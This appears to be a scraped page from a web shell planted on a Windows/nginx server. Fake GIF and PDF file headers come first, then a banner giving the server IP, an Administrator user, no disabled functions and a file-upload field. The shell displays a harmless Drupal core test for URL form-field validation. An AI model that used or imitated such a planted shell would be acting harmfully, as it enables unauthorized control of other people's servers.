GIF89a; %PDF-1.5 %���� ºaâÚÎΞ-ÌE1ÍØÄ÷{òò2ÿ ÛÖ^ÔÀá TÎ{¦?§®¥kuµùÕ5sLOšuY
Server IP : 134.29.175.74 / Your IP : 216.73.216.160 Web Server : nginx/1.10.2 System : Windows NT CST-WEBSERVER 10.0 build 19045 (Windows 10) i586 User : Administrator ( 0) PHP Version : 7.1.0 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : OFF | Perl : OFF | Python : OFF | Sudo : OFF | Pkexec : OFF Directory : C:/nginx/html/Student/JimMartinson/Lab12/drupal/core/modules/system/src/Tests/Form/ |
Upload File : |
<?php namespace Drupal\system\Tests\Form; use Drupal\Component\Serialization\Json; use Drupal\simpletest\WebTestBase; /** * Tests the form API URL element. * * @group Form */ class UrlTest extends WebTestBase { /** * Modules to enable. * * @var array */ public static $modules = ['form_test']; protected $profile = 'testing'; /** * Tests that #type 'url' fields are properly validated and trimmed. */ public function testFormUrl() { $edit = []; $edit['url'] = 'http://'; $edit['url_required'] = ' '; $this->drupalPostForm('form-test/url', $edit, 'Submit'); $this->assertRaw(t('The URL %url is not valid.', ['%url' => 'http://'])); $this->assertRaw(t('@name field is required.', ['@name' => 'Required URL'])); $edit = []; $edit['url'] = "\n"; $edit['url_required'] = 'http://example.com/ '; $values = Json::decode($this->drupalPostForm('form-test/url', $edit, 'Submit')); $this->assertIdentical($values['url'], ''); $this->assertEqual($values['url_required'], 'http://example.com/'); $edit = []; $edit['url'] = 'http://foo.bar.example.com/'; $edit['url_required'] = 'https://www.drupal.org/node/1174630?page=0&foo=bar#new'; $values = Json::decode($this->drupalPostForm('form-test/url', $edit, 'Submit')); $this->assertEqual($values['url'], $edit['url']); $this->assertEqual($values['url_required'], $edit['url_required']); } }